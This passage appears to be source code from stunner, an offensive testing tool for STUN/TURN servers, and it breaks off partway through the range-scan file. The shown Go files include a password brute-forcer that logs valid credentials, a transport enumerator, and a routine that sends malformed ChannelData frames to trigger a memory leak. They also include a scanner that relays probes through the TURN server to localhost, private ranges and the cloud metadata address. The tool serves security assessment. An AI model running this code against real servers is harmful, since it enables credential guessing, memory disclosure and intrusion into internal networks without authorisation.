11 | github.com/pion/logging v0.2.3 h1:gHuf0zpoh1GW67Nr6Gj4cv5Z9ZscU7g/EaoC/Ke/igI=
12 | github.com/pion/logging v0.2.3/go.mod h1:z8YfknkquMe1csOrxK5kc+5/ZPAzMxbKLX5aXpbpC90=
13 | github.com/pion/transport/v2 v2.2.4/go.mod h1:q2U/tf9FEfnSBGSW6w5Qp5PFWRLRj3NjLhCCgpRK4p0=
14 | github.com/pion/transport/v2 v2.2.10 h1:ucLBLE8nuxiHfvkFKnkDQRYWYfp8ejf4YBOPfaQpw6Q=
15 | github.com/pion/transport/v2 v2.2.10/go.mod h1:sq1kSLWs+cHW9E+2fJP95QudkzbK7wscs8yYgQToO5E=
16 | github.com/pion/transport/v3 v3.0.5 h1:ofVrcbPNqVPuKaTO5AMFnFuJ1ZX7ElYiWzC5PCf9YVQ=
17 | github.com/pion/transport/v3 v3.0.5/go.mod h1:HvJr2N/JwNJAfipsRleqwFoR3t/pWyHeZUs89v3+t5s=
18 | github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
19 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
20 | github.com/russross/blackfriday/v2 v2.1.0 h1:JIOH55/0cWyOuilr9/qlrm0BSXldqnqwMsf35Ld67mk=
21 | github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM=
22 | github.com/sirupsen/logrus v1.9.3 h1:dueUQJ1C2q9oE3F7wvmSGAaVtTmUizReu6fjN8uqzbQ=
23 | github.com/sirupsen/logrus v1.9.3/go.mod h1:naHLuLoDiP4jHNo9R0sCBMtWGeIprob74mVsIT4qYEQ=
24 | github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
25 | github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw=
26 | github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo=
27 | github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
28 | github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
29 | github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU=
30 | github.com/stretchr/testify v1.8.4/go.mod h1:sz/lmYIOXD/1dqDmKjjqLyZ2RngseejIcXlSw2iwfAo=
31 | github.com/stretchr/testify v1.9.0 h1:HtqpIVDClZ4nwg75+f6Lvsy/wHu+3BoSGCbBAcpTsTg=
32 | github.com/stretchr/testify v1.9.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY=
33 | github.com/urfave/cli/v2 v2.27.6 h1:VdRdS98FNhKZ8/Az8B7MTyGQmpIr36O1EHybx/LaZ4g=
34 | github.com/urfave/cli/v2 v2.27.6/go.mod h1:3Sevf16NykTbInEnD0yKkjDAeZDS0A6bzhBH5hrMvTQ=
35 | github.com/wlynxg/anet v0.0.3/go.mod h1:eay5PRQr7fIVAMbTbchTnO9gG65Hg/uYGdc7mguHxoA=
36 | github.com/xrash/smetrics v0.0.0-20240521201337-686a1a2994c1 h1:gEOO8jv9F4OT7lGCjxCBTO/36wtF6j2nSip77qHd4x4=
37 | github.com/xrash/smetrics v0.0.0-20240521201337-686a1a2994c1/go.mod h1:Ohn+xnUBiLI6FVj/9LpzZWtj1/D6lUovWYBkxHVV3aM=
38 | github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY=
39 | golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
40 | golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=
41 | golang.org/x/crypto v0.12.0/go.mod h1:NF0Gs7EO5K4qLn+Ylc+fih8BSTeIjAP05siRnAh98yw=
42 | golang.org/x/crypto v0.18.0/go.mod h1:R0j02AL6hcrfOiy9T4ZYp/rcWeMxM3L6QYxlOuEG1mg=
43 | golang.org/x/crypto v0.38.0 h1:jt+WWG8IZlBnVbomuhg2Mdq0+BBQaHbtqHEFEigjUV8=
44 | golang.org/x/crypto v0.38.0/go.mod h1:MvrbAqul58NNYPKnOra203SB9vpuZW0e+RRZV+Ggqjw=
45 | golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4=
46 | golang.org/x/mod v0.8.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs=
47 | golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
48 | golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=
49 | golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c=
50 | golang.org/x/net v0.6.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs=
51 | golang.org/x/net v0.10.0/go.mod h1:0qNGK6F8kojg2nk9dLZ2mShWaEBan6FAoqfSigmmuDg=
52 | golang.org/x/net v0.14.0/go.mod h1:PpSgVXXLK0OxS0F31C1/tv6XNguvCrnXIDrFMspZIUI=
53 | golang.org/x/net v0.20.0/go.mod h1:z8BVo6PvndSri0LbOE3hAn0apkU+1YvI6E70E9jsnvY=
54 | golang.org/x/net v0.40.0 h1:79Xs7wF06Gbdcg4kdCCIQArK11Z1hr5POQ6+fIYHNuY=
55 | golang.org/x/net v0.40.0/go.mod h1:y0hY0exeL2Pku80/zKK7tpntoX23cqL3Oa6njdgRtds=
56 | golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
57 | golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
58 | golang.org/x/sync v0.1.0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
59 | golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
60 | golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
61 | golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
62 | golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
63 | golang.org/x/sys v0.0.0-20220715151400-c0bba94af5f8/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
64 | golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
65 | golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
66 | golang.org/x/sys v0.8.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
67 | golang.org/x/sys v0.11.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
68 | golang.org/x/sys v0.16.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
69 | golang.org/x/sys v0.33.0 h1:q3i8TbbEz+JRD9ywIRlyRAQbM0qF7hu24q3teo2hbuw=
70 | golang.org/x/sys v0.33.0/go.mod h1:BJP2sWEmIv4KK5OTEluFJCKSidICx8ciO85XgH3Ak8k=
71 | golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
72 | golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8=
73 | golang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k=
74 | golang.org/x/term v0.8.0/go.mod h1:xPskH00ivmX89bAKVGSKKtLOWNx2+17Eiy94tnKShWo=
75 | golang.org/x/term v0.11.0/go.mod h1:zC9APTIj3jG3FdV/Ons+XE1riIZXG4aZ4GTHiPZJPIU=
76 | golang.org/x/term v0.16.0/go.mod h1:yn7UURbUtPyrVJPGPq404EukNFxcm/foM+bV/bfcDsY=
77 | golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
78 | golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
79 | golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ=
80 | golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8=
81 | golang.org/x/text v0.9.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8=
82 | golang.org/x/text v0.12.0/go.mod h1:TvPlkZtksWOMsz7fbANvkp4WM8x/WCo/om8BMLbz+aE=
83 | golang.org/x/text v0.14.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU=
84 | golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
85 | golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
86 | golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc=
87 | golang.org/x/tools v0.6.0/go.mod h1:Xwgl3UAJ/d3gWutnCtw505GrjyAbvKui8lOU390QaIU=
88 | golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
89 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
90 | gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
91 | gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
92 | gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
93 |
--------------------------------------------------------------------------------
/internal/cmd/bruteforce.go:
--------------------------------------------------------------------------------
1 | package cmd
2 |
3 | import (
4 | "bufio"
5 | "context"
6 | "fmt"
7 | "os"
8 | "strings"
9 | "time"
10 |
11 | "github.com/firefart/stunner/internal"
12 | "github.com/sirupsen/logrus"
13 | )
14 |
15 | type BruteforceOpts struct {
16 | TurnServer string
17 | Protocol string
18 | Username string
19 | Passfile string
20 | UseTLS bool
21 | Timeout time.Duration
22 | Log *logrus.Logger
23 | }
24 |
25 | func (opts BruteforceOpts) Validate() error {
26 | if opts.TurnServer == "" {
27 | return fmt.Errorf("need a valid turnserver")
28 | }
29 | if !strings.Contains(opts.TurnServer, ":") {
30 | return fmt.Errorf("turnserver needs a port")
31 | }
32 | if opts.Protocol != "tcp" && opts.Protocol != "udp" {
33 | return fmt.Errorf("protocol needs to be either tcp or udp")
34 | }
35 | if opts.Username == "" {
36 | return fmt.Errorf("please supply a username")
37 | }
38 | if opts.Passfile == "" {
39 | return fmt.Errorf("please supply a password file")
40 | }
41 | if opts.Log == nil {
42 | return fmt.Errorf("please supply a valid logger")
43 | }
44 | return nil
45 | }
46 |
47 | func BruteForce(ctx context.Context, opts BruteforceOpts) error {
48 | if err := opts.Validate(); err != nil {
49 | return err
50 | }
51 |
52 | pfile, err := os.Open(opts.Passfile)
53 | if err != nil {
54 | return fmt.Errorf("could not read password file: %w", err)
55 | }
56 | defer pfile.Close()
57 |
58 | scanner := bufio.NewScanner(pfile)
59 | for scanner.Scan() {
60 | if err := testPassword(ctx, opts, scanner.Text()); err != nil {
61 | return err
62 | }
63 | }
64 |
65 | if err := scanner.Err(); err != nil {
66 | return err
67 | }
68 | return nil
69 | }
70 |
71 | func testPassword(ctx context.Context, opts BruteforceOpts, password string) error {
72 | remote, err := internal.Connect(ctx, opts.Protocol, opts.TurnServer, opts.UseTLS, opts.Timeout)
73 | if err != nil {
74 | return err
75 | }
76 |
77 | addressFamily := internal.AllocateProtocolIgnore
78 | allocateRequest := internal.AllocateRequest(internal.RequestedTransportUDP, addressFamily)
79 | allocateResponse, err := allocateRequest.SendAndReceive(ctx, opts.Log, remote, opts.Timeout)
80 | if err != nil {
81 | return fmt.Errorf("error on sending AllocateRequest: %w", err)
82 | }
83 | if allocateResponse.Header.MessageType.Class != internal.MsgTypeClassError {
84 | return fmt.Errorf("MessageClass is not Error (should be not authenticated)")
85 | }
86 |
87 | realm := string(allocateResponse.GetAttribute(internal.AttrRealm).Value)
88 | nonce := string(allocateResponse.GetAttribute(internal.AttrNonce).Value)
89 |
90 | allocateRequest = internal.AllocateRequestAuth(opts.Username, password, nonce, realm, internal.RequestedTransportUDP, addressFamily)
91 | allocateResponse, err = allocateRequest.SendAndReceive(ctx, opts.Log, remote, opts.Timeout)
92 | if err != nil {
93 | return fmt.Errorf("error on sending AllocateRequest Auth: %w", err)
94 | }
95 | if allocateResponse.Header.MessageType.Class == internal.MsgTypeClassSuccess {
96 | opts.Log.Infof("Found valid credentials: %s:%s", opts.Username, password)
97 | return nil
98 | }
99 | // we got an error
100 | errorCode := allocateResponse.GetAttribute(internal.AttrErrorCode).Value[4:]
101 | if string(errorCode) != "Unauthorized" {
102 | // get all other errors than auth errors
103 | opts.Log.Errorf("Unknown error: %s", string(errorCode))
104 | }
105 | return nil
106 | }
107 |
--------------------------------------------------------------------------------
/internal/cmd/brutetransports.go:
--------------------------------------------------------------------------------
1 | package cmd
2 |
3 | import (
4 | "context"
5 | "fmt"
6 | "strings"
7 | "time"
8 |
9 | "github.com/firefart/stunner/internal"
10 | "github.com/sirupsen/logrus"
11 | )
12 |
13 | type BruteTransportOpts struct {
14 | TurnServer string
15 | Protocol string
16 | Username string
17 | Password string
18 | UseTLS bool
19 | Timeout time.Duration
20 | Log *logrus.Logger
21 | }
22 |
23 | func (opts BruteTransportOpts) Validate() error {
24 | if opts.TurnServer == "" {
25 | return fmt.Errorf("need a valid turnserver")
26 | }
27 | if !strings.Contains(opts.TurnServer, ":") {
28 | return fmt.Errorf("turnserver needs a port")
29 | }
30 | if opts.Protocol != "tcp" && opts.Protocol != "udp" {
31 | return fmt.Errorf("protocol needs to be either tcp or udp")
32 | }
33 | if opts.Username == "" {
34 | return fmt.Errorf("please supply a username")
35 | }
36 | if opts.Password == "" {
37 | return fmt.Errorf("please supply a password")
38 | }
39 | if opts.Log == nil {
40 | return fmt.Errorf("please supply a valid logger")
41 | }
42 |
43 | return nil
44 | }
45 |
46 | func BruteTransports(ctx context.Context, opts BruteTransportOpts) error {
47 | if err := opts.Validate(); err != nil {
48 | return err
49 | }
50 |
51 | for i := 0; i <= 255; i++ {
52 | conn, err := internal.Connect(ctx, opts.Protocol, opts.TurnServer, opts.UseTLS, opts.Timeout)
53 | if err != nil {
54 | return err
55 | }
56 |
57 | x := internal.RequestedTransport(uint32(i))
58 | allocateRequest := internal.AllocateRequest(x, internal.AllocateProtocolIgnore)
59 | allocateResponse, err := allocateRequest.SendAndReceive(ctx, opts.Log, conn, opts.Timeout)
60 | if err != nil {
61 | return fmt.Errorf("error on sending allocate request: %w", err)
62 | }
63 |
64 | realm := string(allocateResponse.GetAttribute(internal.AttrRealm).Value)
65 | nonce := string(allocateResponse.GetAttribute(internal.AttrNonce).Value)
66 |
67 | allocateRequest = internal.AllocateRequestAuth(opts.Username, opts.Password, nonce, realm, x, internal.AllocateProtocolIgnore)
68 | allocateResponse, err = allocateRequest.SendAndReceive(ctx, opts.Log, conn, opts.Timeout)
69 | if err != nil {
70 | return fmt.Errorf("error on sending allocate request auth: %w", err)
71 | }
72 | if allocateResponse.Header.MessageType.Class != internal.MsgTypeClassSuccess {
73 | errorCode := allocateResponse.GetAttribute(internal.AttrErrorCode).Value[4:]
74 | opts.Log.Errorf("%d %s", i, string(errorCode))
75 | if allocateResponse.Header.MessageType.Class != internal.MsgTypeClassError {
76 | opts.Log.Infof("%d %02x", i, allocateResponse.Header.MessageType)
77 | }
78 | } else {
79 | // valid transport found
80 | switch x {
81 | case internal.RequestedTransportTCP:
82 | opts.Log.Infof("Found supported protocol %d which is TCP and a default protocol", i)
83 | case internal.RequestedTransportUDP:
84 | opts.Log.Infof("Found supported protocol %d which is UDP and a default protocol", i)
85 | default:
86 | opts.Log.Infof("Found non standard protocol %d", i)
87 | }
88 | }
89 | if err := conn.Close(); err != nil {
90 | return fmt.Errorf("error on closing connection: %w", err)
91 | }
92 | }
93 | return nil
94 | }
95 |
--------------------------------------------------------------------------------
/internal/cmd/info.go:
--------------------------------------------------------------------------------
1 | package cmd
2 |
3 | import (
4 | "context"
5 | "fmt"
6 | "strings"
7 | "time"
8 |
9 | "github.com/firefart/stunner/internal"
10 | "github.com/firefart/stunner/internal/helper"
11 | "github.com/sirupsen/logrus"
12 | )
13 |
14 | type InfoOpts struct {
15 | TurnServer string
16 | UseTLS bool
17 | Protocol string
18 | Timeout time.Duration
19 | Log *logrus.Logger
20 | }
21 |
22 | func (opts InfoOpts) Validate() error {
23 | if opts.TurnServer == "" {
24 | return fmt.Errorf("need a valid turnserver")
25 | }
26 | if !strings.Contains(opts.TurnServer, ":") {
27 | return fmt.Errorf("turnserver needs a port")
28 | }
29 | if opts.Protocol != "tcp" && opts.Protocol != "udp" {
30 | return fmt.Errorf("protocol needs to be either tcp or udp")
31 | }
32 | if opts.Log == nil {
33 | return fmt.Errorf("please supply a valid logger")
34 | }
35 |
36 | return nil
37 | }
38 |
39 | func Info(ctx context.Context, opts InfoOpts) error {
40 | if err := opts.Validate(); err != nil {
41 | return err
42 | }
43 |
44 | if attr, err := testStun(ctx, opts); err != nil {
45 | opts.Log.Debugf("STUN error: %v", err)
46 | opts.Log.Error("this server does not support the STUN protocol")
47 | } else {
48 | opts.Log.Info("this server supports the STUN protocol")
49 | printAttributes(opts, attr)
50 | }
51 |
52 | if attr, err := testTurn(ctx, opts, internal.RequestedTransportUDP); err != nil {
53 | opts.Log.Debugf("TURN UDP error: %v", err)
54 | opts.Log.Error("this server does not support the TURN UDP protocol")
55 | } else {
56 | opts.Log.Info("this server supports the TURN protocol with UDP transports")
57 | printAttributes(opts, attr)
58 | }
59 |
60 | if attr, err := testTurn(ctx, opts, internal.RequestedTransportTCP); err != nil {
61 | opts.Log.Debugf("TURN TCP error: %v", err)
62 | opts.Log.Error("this server does not support the TURN TCP protocol")
63 | } else {
64 | opts.Log.Info("this server supports the TURN protocol with TCP transports")
65 | printAttributes(opts, attr)
66 | }
67 |
68 | return nil
69 | }
70 |
71 | func testStun(ctx context.Context, opts InfoOpts) ([]internal.Attribute, error) {
72 | conn, err := internal.Connect(ctx, opts.Protocol, opts.TurnServer, opts.UseTLS, opts.Timeout)
73 | if err != nil {
74 | return nil, err
75 | }
76 | defer conn.Close()
77 |
78 | bindingRequest := internal.BindingRequest()
79 | bindingResponse, err := bindingRequest.SendAndReceive(ctx, opts.Log, conn, opts.Timeout)
80 | if err != nil {
81 | return nil, fmt.Errorf("error on sending binding request: %w", err)
82 | }
83 | if bindingResponse.Header.MessageType.Class == internal.MsgTypeClassError {
84 | return nil, fmt.Errorf("MessageClass is Error: %v", bindingResponse.GetErrorString())
85 | }
86 |
87 | return bindingResponse.Attributes, nil
88 | }
89 |
90 | func testTurn(ctx context.Context, opts InfoOpts, proto internal.RequestedTransport) ([]internal.Attribute, error) {
91 | conn, err := internal.Connect(ctx, opts.Protocol, opts.TurnServer, opts.UseTLS, opts.Timeout)
92 | if err != nil {
93 | return nil, err
94 | }
95 | defer conn.Close()
96 |
97 | allocateRequest := internal.AllocateRequest(proto, internal.AllocateProtocolIgnore)
98 | allocateResponse, err := allocateRequest.SendAndReceive(ctx, opts.Log, conn, opts.Timeout)
99 | if err != nil {
100 | return nil, fmt.Errorf("error on sending allocate request: %w", err)
101 | }
102 | if allocateResponse.Header.MessageType.Class != internal.MsgTypeClassError {
103 | return nil, fmt.Errorf("MessageClass is not Error (should be not authenticated)")
104 | }
105 |
106 | return allocateResponse.Attributes, nil
107 | }
108 |
109 | func printAttributes(opts InfoOpts, attr []internal.Attribute) {
110 | if len(attr) == 0 {
111 | return
112 | }
113 |
114 | headerPrinted := false
115 |
116 | for _, a := range attr {
117 | // do not print common protocol related attributes
118 | if a.Type == internal.AttrNonce || a.Type == internal.AttrErrorCode || a.Type == internal.AttrFingerprint || a.Type == internal.AttrXorMappedAddress || a.Type == internal.AttrMappedAddress {
119 | continue
120 | }
121 |
122 | // inside here so we don't print an unnecessary "Attributes:" line
123 | if !headerPrinted {
124 | opts.Log.Info("Attributes:")
125 | headerPrinted = true
126 | }
127 |
128 | value := string(a.Value)
129 | // checks for old RFC5780 but still implemented (for example in coturn)
130 | if a.Type == internal.AttrResponseOrigin || a.Type == internal.AttrOtherAddress {
131 | tmpIP, tmpPort, err := internal.ParseMappedAdress(a.Value)
132 | if err != nil {
133 | opts.Log.Errorf("could not parse mapped address: %02x %v", a.Value, err)
134 | continue
135 | }
136 | value = fmt.Sprintf("%s:%d", tmpIP.String(), tmpPort)
137 | }
138 |
139 | humanName := internal.AttributeTypeString(a.Type)
140 | if humanName == "" {
141 | if helper.IsPrintable(value) {
142 | opts.Log.Warnf("\tNon Standard Attribute %d returned with value %s", uint16(a.Type), value)
143 | } else {
144 | opts.Log.Warnf("\tNon Standard Attribute %d returned with value %02x", uint16(a.Type), a.Value)
145 | }
146 | } else {
147 | opts.Log.Infof("\t%s: %s", humanName, value)
148 | }
149 | }
150 | }
151 |
--------------------------------------------------------------------------------
/internal/cmd/memoryleak.go:
--------------------------------------------------------------------------------
1 | package cmd
2 |
3 | import (
4 | "context"
5 | "fmt"
6 | "net/netip"
7 | "strings"
8 | "time"
9 |
10 | "github.com/firefart/stunner/internal"
11 | "github.com/firefart/stunner/internal/helper"
12 | "github.com/sirupsen/logrus"
13 | )
14 |
15 | type MemoryleakOpts struct {
16 | TurnServer string
17 | Protocol string
18 | Username string
19 | Password string
20 | UseTLS bool
21 | Timeout time.Duration
22 | Log *logrus.Logger
23 | TargetHost netip.Addr
24 | TargetPort uint16
25 | Size uint16
26 | }
27 |
28 | func (opts MemoryleakOpts) Validate() error {
29 | if opts.TurnServer == "" {
30 | return fmt.Errorf("need a valid turnserver")
31 | }
32 | if !strings.Contains(opts.TurnServer, ":") {
33 | return fmt.Errorf("turnserver needs a port")
34 | }
35 | if opts.Protocol != "tcp" && opts.Protocol != "udp" {
36 | return fmt.Errorf("protocol needs to be either tcp or udp")
37 | }
38 | if opts.Username == "" {
39 | return fmt.Errorf("please supply a username")
40 | }
41 | if opts.Password == "" {
42 | return fmt.Errorf("please supply a password")
43 | }
44 | if opts.Log == nil {
45 | return fmt.Errorf("please supply a valid logger")
46 | }
47 | if !opts.TargetHost.IsValid() {
48 | return fmt.Errorf("please supply a valid target host (must be an ip)")
49 | }
50 | if opts.TargetPort <= 0 {
51 | return fmt.Errorf("please supply a valid target port")
52 | }
53 | if opts.Size <= 0 {
54 | return fmt.Errorf("please supply a valid size")
55 | }
56 |
57 | return nil
58 | }
59 |
60 | func MemoryLeak(ctx context.Context, opts MemoryleakOpts) error {
61 | if err := opts.Validate(); err != nil {
62 | return err
63 | }
64 |
65 | remote, realm, nonce, err := internal.SetupTurnConnection(ctx, opts.Log, opts.Protocol, opts.TurnServer, opts.UseTLS, opts.Timeout, opts.TargetHost, opts.TargetPort, opts.Username, opts.Password)
66 | if err != nil {
67 | return err
68 | }
69 | defer remote.Close()
70 |
71 | channelNumber, err := helper.RandomChannelNumber()
72 | if err != nil {
73 | return fmt.Errorf("error on getting random channel number: %w", err)
74 | }
75 | channelBindRequest, err := internal.ChannelBindRequest(opts.Username, opts.Password, nonce, realm, opts.TargetHost, opts.TargetPort, channelNumber)
76 | if err != nil {
77 | return fmt.Errorf("error on generating ChannelBind request: %w", err)
78 | }
79 | opts.Log.Debugf("ChannelBind Request:\n%s", channelBindRequest.String())
80 | channelBindResponse, err := channelBindRequest.SendAndReceive(ctx, opts.Log, remote, opts.Timeout)
81 | if err != nil {
82 | return fmt.Errorf("error on sending ChannelBind request: %w", err)
83 | }
84 | opts.Log.Debugf("ChannelBind Response:\n%s", channelBindResponse.String())
85 | if channelBindResponse.Header.MessageType.Class == internal.MsgTypeClassError {
86 | return fmt.Errorf("error on sending ChannelBind request: %s", channelBindResponse.GetErrorString())
87 | }
88 |
89 | for i := 0; i < 1000; i++ {
90 | var toSend []byte
91 | toSend = append(toSend, channelNumber...)
92 | toSend = append(toSend, helper.PutUint16(opts.Size)...)
93 | toSend = append(toSend, []byte("xxx")...)
94 | toSend = internal.Padding(toSend)
95 | err := helper.ConnectionWrite(ctx, remote, toSend, opts.Timeout)
96 | if err != nil {
97 | return fmt.Errorf("error on sending data: %w", err)
98 | }
99 | opts.Log.Info(i)
100 | time.Sleep(500 * time.Millisecond)
101 | }
102 |
103 | opts.Log.Info("DONE")
104 | return nil
105 | }
106 |
--------------------------------------------------------------------------------
/internal/cmd/rangescan.go:
--------------------------------------------------------------------------------
1 | package cmd
2 |
3 | import (
4 | "context"
5 | "errors"
6 | "fmt"
7 | "net/netip"
8 | "strings"
9 | "time"
10 |
11 | "github.com/firefart/stunner/internal"
12 | "github.com/firefart/stunner/internal/helper"
13 | "github.com/sirupsen/logrus"
14 | )
15 |
16 | type RangeScanOpts struct {
17 | TurnServer string
18 | Protocol string
19 | Username string
20 | Password string
21 | UseTLS bool
22 | Timeout time.Duration
23 | Log *logrus.Logger
24 | }
25 |
26 | func (opts RangeScanOpts) Validate() error {
27 | if opts.TurnServer == "" {
28 | return fmt.Errorf("need a valid turnserver")
29 | }
30 | if !strings.Contains(opts.TurnServer, ":") {
31 | return fmt.Errorf("turnserver needs a port")
32 | }
33 | if opts.Protocol != "tcp" && opts.Protocol != "udp" {
34 | return fmt.Errorf("protocol needs to be either tcp or udp")
35 | }
36 | if opts.Username == "" {
37 | return fmt.Errorf("please supply a username")
38 | }
39 | if opts.Password == "" {
40 | return fmt.Errorf("please supply a password")
41 | }
42 | if opts.Log == nil {
43 | return fmt.Errorf("please supply a valid logger")
44 | }
45 |
46 | return nil
47 | }
48 |
49 | func RangeScan(ctx context.Context, opts RangeScanOpts) error {
50 | if err := opts.Validate(); err != nil {
51 | return err
52 | }
53 |
54 | ranges := []string{
55 | // all
56 | "0.0.0.0",
57 | "::",
58 | // localhosts
59 | "127.0.0.1",
60 | "127.0.0.8",
61 | "127.255.255.254",
62 | "::1",
63 | // private ranges
64 | "10.0.0.1",
65 | "10.255.255.254",
66 | "172.16.0.1",
67 | "172.31.255.254",
68 | "192.168.0.1",
69 | "192.168.255.254",
70 | // Link Local
71 | "169.254.0.1",
72 | "169.254.254.255",
73 | // Multicast
74 | "224.0.0.1",
75 | "239.255.255.254",
76 | // Shared Address Space
77 | "100.64.0.0",
78 | "100.127.255.254",
79 | // ietf
80 | "192.0.0.1",
81 | "192.0.0.254",
82 | // TEST-NET-1
83 | "192.0.2.1",
84 | "192.0.2.254",
85 | // Benchmark
86 | "198.18.0.1",
87 | "198.19.255.254",
88 | // TEST-NET-2
89 | "198.51.100.1",
90 | "198.51.100.254",
91 | // TEST-NET-3
92 | "203.0.113.1",
93 | "203.0.113.254",
94 | // Reserved
95 | "240.0.0.1",
96 | // Broadcast
97 | "255.255.255.255",
98 | // Cloud Metadata Services
99 | "169.254.169.254",
100 | }
101 |
102 | // UDP scanning
103 | for _, ipString := range ranges {
104 | ip, err := netip.ParseAddr(ipString)
105 | if err != nil {
106 | return fmt.Errorf("target is no valid ip address: %w", err)
107 | }
108 |
109 | suc, err := scanUDP(ctx, opts, ip, 80)
110 | if err != nil {
111 | opts.Log.Errorf("UDP %s: %v", ip, err)
112 | }
113 | if suc {
114 | opts.Log.Warnf("UDP %s was successful!", ip)
115 | }
116 | }
117 |
118 | // TCP scanning
